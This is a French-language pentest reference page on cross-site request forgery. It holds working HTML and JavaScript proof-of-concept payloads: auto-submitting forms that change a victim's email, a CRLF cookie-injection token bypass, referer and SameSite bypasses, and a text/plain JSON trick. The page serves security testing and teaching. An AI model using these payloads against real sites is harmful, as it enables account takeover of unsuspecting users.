> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/csrf.md).

# CSRF

## Sites:

* <https://security.love/CSRF-PoC-Genorator/>: Générateur en ligne de PoC CSRF.&#x20;

## Mindmap

![](/files/Syqn34tclqALMD5Vmlvm)

{% hint style="success" %}
Prérequis:

* **Une action pertinente.** Il y a une action dans l'application que l'attaquant a une raison d'induire. Il peut s'agir d'une action privilégiée (telle que la modification des autorisations d'autres utilisateurs) ou de toute action sur des données spécifiques à l'utilisateur (telle que la modification du mot de passe de l'utilisateur).
* **Gestion de session basée sur les cookies.** L'exécution de l'action implique l'émission d'une ou plusieurs requêtes HTTP, et l'application s'appuie uniquement sur les cookies de session pour identifier l'utilisateur qui a fait les requêtes. Il n'existe aucun autre mécanisme en place pour suivre les sessions ou valider les demandes des utilisateurs.
* **Aucun paramètre de demande imprévisible.** Les requêtes qui exécutent l'action ne contiennent aucun paramètre dont les valeurs ne peuvent pas être déterminées ou devinées par l'attaquant. Par exemple, en incitant un utilisateur à changer son mot de passe, la fonction n'est pas vulnérable si un attaquant a besoin de connaître la valeur du mot de passe existant.
  {% endhint %}

## Principe

Exemple de modification d'email:

```
POST /changeemailaddress HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=target@mail.xyz
```

Exploit: (Test dans un fichier html en local)

```html
<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name="email" value="evil@mail.xyz" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
```

Si la victime se rend sur le site web de l'attaquant contenant cet exploit, une requête HTTP sera envoyé à l'url "<https://target.com/changeemailaddress>" préremplie avec l'email de l'attaquant (<evil@mail.xyz>).

Si la victime a une session active sur le site target.com, l'action sera alors faite via son compte et son adresse mail sera alors remplacé par celle de l'attaquant.

## Bypass de jeton CSRF

* Tenter d'utiliser une autre méthode HTTP que celle utilisée.
* Supprimer le paramètre "csrf" de la requête.
* Utiliser son propre jeton CSRF à la place de celui de la cible.
* Si le site Web contient un comportement qui permet à un attaquant de placer un cookie dans le navigateur d'une victime, L'attaquant peut se connecter à l'application à l'aide de son propre compte, obtenir un jeton valide et un cookie associé, placer son cookie dans le navigateur de la victime et transmettre son jeton à la victime lors de son attaque CSRF. (CRLF + CSRF)
* Si le site utilise un header X-Csrf-Token, le remplacer par "1".

```html
<img src="https://target.com/+<CRLF payload> onerror="document.forms[0].submit()">
```

Exemple:&#x20;

```html
<html>
  <body>
    <img src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=<KEY>%3b%20SameSite=None" onerror="document.forms[0].submit()">
    <form action="https:///target.com/changeemailadress" method="POST">
      <input type="hidden" name="email" value="test2&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="123XYZ" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
```

## Bypass de vérification de l'en-tête referer

Si le site se fie à l'en-tête referer pour valider si le site de l'attaquant fait partie d'une whitelist ou non, on peu essayer d'ajouter une balise \<meta> "no-referrer" à notre PoC.

<pre class="language-html"><code class="lang-html">&#x3C;html>
<strong>    &#x3C;meta name="referrer" content="no-referrer">
</strong>    &#x3C;body>
        &#x3C;form action="https://target.com/changeemailaddress" method="POST">
            &#x3C;input type="hidden" name="email" value="evil@mail.xyz" />
        &#x3C;/form>
        &#x3C;script>
            document.forms[0].submit();
        &#x3C;/script>
    &#x3C;/body>
&#x3C;/html>
</code></pre>

Cela suffit parfois à bypass la liste blanche mise en place.

On peut aussi utiliser un nom de domaine tel que `https://target.com.attacker.com` pour tenter de bypass la regex vérifiant le domaine de confiance.

## Bypass de cookie SameSite Lax

### Via [method override](/pentest-web/bypass.md#method-override)

Exemple:

```html
<script>
    document.location="https://target.com/changeemailaddress?email=attacker@mail.xyz&_method=POST
</script>
```

## Bypass de cookie SameSite Strict

### Via paramètre acceptant du [path traversal](/pentest-mobile/android/guides-outils/outil-drozer/path-traversal-android.md) ou vulnerable à [open redirect](/pentest-web/open-redirect.md)

Exemple:

```html
<script>
	document.location="https://target.com/example/path?parameter=../../changeemailaddress?email=attacker%40mail.xyz%26submit=1"
</script>
```

## XSS+CSRF => Account takeover

Parfois, il est également possible de coupler une injection XSS (permettant de voler le token CSRF de la victime) et une CSRF avec `XMLHttpRequest` afin de parvenir souvent à la prise de contrôle d'un compte à haut privilèges.

## CSRF sur endpoint JSON

### Avec ACAO sur \*

Dans le générateur de PoC CSRF de burp, dans options utiliser la technique "Cross-domain XHR" et set xhr.withcredentials dans le payload sur false si le true ne fonctionne pas.

### Avec Content-Type: text/plain

```html
<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name='{"username":"evil","email":"evil@mail.xyz","foo' value='":"test"}' />
        </form>
    </body>
</html>
```

## Impacts possibles

* Fuites de données sensibles
* Enregistrement de Self-XSS dans le navigateur de la victime
* Account takeover
